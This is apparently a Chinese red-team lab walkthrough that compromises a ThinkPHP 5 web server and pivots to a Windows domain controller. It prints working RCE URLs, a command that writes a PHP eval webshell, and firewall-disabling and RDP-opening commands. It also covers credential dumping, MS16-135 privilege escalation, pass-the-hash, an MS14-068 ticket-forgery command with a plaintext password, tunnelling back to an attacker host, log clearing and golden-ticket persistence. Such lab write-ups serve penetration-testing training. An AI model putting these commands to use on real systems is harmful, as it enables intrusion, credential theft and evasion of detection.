铁子 能分享一下你用的这个tp利用工具吗?
环境搭建
win7:web机器
ip1:192.168.1.113(外)
ip2:192.168.138.136(内)
win2008:DC
ip:192.168.138.138
攻击机器kali(模拟vps):
ip:192.168.1.128
tp网站探测
直接访问web,发现为tp5版本。
看到tp应该就比较兴奋,因为洞是比较多的,直接上工具探测一波。发现有两个洞,一个是直接RCE,一个是数据库的信息泄露。
直接getshell
先看rce,能远程执行命令则意味着是可以getshell的,先上payload直接打出phpinfo。
查看phpinfo的信息,发现disable_function和open_basedir是没有限制的。
如果没有disable_function的限制那么可以直接用system函数去写一个马。先简单的看下能不能执行命令,发现是可以的。
http://192.168.1.113//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
再看看有没有杀软,如果有的话还要写免杀马,如果直接上普通的马被杀的话很容易打草惊蛇。
http://192.168.1.113//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc
通过离线的杀软对比发现是没有的,那么可以很舒服的写一句话木马。
192.168.1.113/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[shell]);?>" > th1nk.php
查看shell发现已经写入。
http://192.168.1.113//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
使用蚁剑去连接,成功getshell。
扫描敏感目录
用御剑扫下目录。
访问http://192.168.1.113/add.php,发现是一个大马。
尝试弱密码,爆破,获取密码admins
有时候别人先已经日了,这种情况也是有的,所以拿到shell的密码尽量不要是一些弱密码。
边缘机器信息收集
网卡信息查询,为双网卡,并且是有域的。
ipconfig /all
查看是否有ipc连接,或者是被连接。
net use
net session
由于有域,想查询一些域内信息,但是基本上都是没权限。
考虑到该机器版本比较老,这里应该可以提权等操作,为了方便后渗透就想要上线cs。查看是否出网。
ping 192.168.1.128
出网的,通过反向连接(reverse)上线,这种方式是比较稳定的。
将生成的artifact.exe
上传到目标机器。
通过webshell执行命令,成功上线。
这里为administrator权限,可以抓一波密码:
hashdump
logonpasswords
由于是win7,操作系统版本比较低,直接抓出了administrator和账户leo的明文密码。并且这个administrator是域内用户,大概率就是域管。
还是继续信息收集,执行命令还是出现6118错误,这个可能是防火墙造成的,使用命令直接关闭防火墙。
netsh advfirewall set allprofiles state off
关闭防火墙后可执行域内命令。
经过查看域内机器发现名为SUN的域就两台机器,一台win7,一台DC。
查看域内密码策略
期间执行一些命令发现有些返回error 5,那么就是没权限,这里中途提一波权限,老操作系统,权限很好搞。
并且还有一个点,一开始用的是32为的payload,但是目标系统的位数是64位的,所以这里尽量就用64的payload,不然会有一定影响。
这里提权使用的是ms16-135
,成功拿到system权限。
信息差不多收集的七七八八以后,别忘了翻数据库,这里是靶场就无所谓,如果是实战一定要看数据库,里面也许会有很重要的密码等信息。
最后大致总结一下已经拿到的信息:
DCip为192.168.138.138,已知有域管账户,及获取了明文密码,域管很有可能登录过域控,pth是一个不错的选择。
如果pth失败,就需要使用一些操作系统漏洞MS14-058
,MS14-068
,MS17-010
,``等已知的漏洞,如果域控有exchange服务,也可以用1day去打,不行就看看web,但是域控一般是没有web的。还不行就再找找密码,内网渗透本质是信息收集,有了密码才有未来。
横向域控
先扫描下DC的端口,服务等信息。直接用cs自带的扫描扫一波,探测端口。结果如下:
应该是没有web服务的,445端口的开启说明pth是有机会的,那么从pth开始。
psexec尝试
这款pth神器是不得不用的。内网主机大概率是不出网的,先添加一个smb beacon。
尝试使用域管账户administrator的账户和密码去撞:
这里直接就拿下了,域管账户去pth成功的概率是很高的。
但以学习的态度,这只是一种思路,现在假设并未成功能否通过其他方式尝试拿下域控呢。
MS17010尝试
Ladon 192.168.138.138 MS17010
这里是可以利用的,一般遇到这种情况就是用MSF的模块去打,session通过cs派生过去就行,由于是不同网段记得添加路由,2008还是比较容易成功的,如果不行的话就要用原生的py试试。这里网上的教程已经很多了,就不重复写了。
MS14068尝试
该漏洞允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
查看补丁情况systeminfo
并没有打MS14068的补丁(KB3011780),有可能成功利用该漏洞。上传MS14068的exp。
获取域内普通账户sid
用已知普通域账户leo的明文密码去制造票据。
shell ms14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138 -p 123.com
但是这里却出错了,是py什么问题,这里我也没遇到过,不过没打补丁应该是可行的,小弟知识浅薄,有懂得表哥指教。
登录远程桌面
查询RDP端口
shell netstat -ano | findstr "3389"
发现RDP端口并未开放,修改防火墙通行规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
再通过注册表开启RDP
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d
这里用毒液做下内网穿透
攻击机器:
admin.exe -lport 9999
边缘机器:
shell agent.exe -rhost 192.168.1.104 -rport 9999
接收到节点后,使用节点一
goto 1
socks 7777
proxifier配置如下规则
RDP连接
痕迹清理
主要是清理psexec的日志,重点为事件ID4624和事件ID7045
将防火墙RDP放行规则关闭,关闭RDP,恢复注册表键值对。
权限维持
拿到域控,最好的权限维持办法就是黄金票据,这个方法也是相对隐蔽的。
获取普通域账户的sid,和krbtgt用户的hash
通过mimikatz制作一张黄金票据
这样在普通域机器上也可以访问域控机器。
最后欢迎关注团队公众号:红队蓝军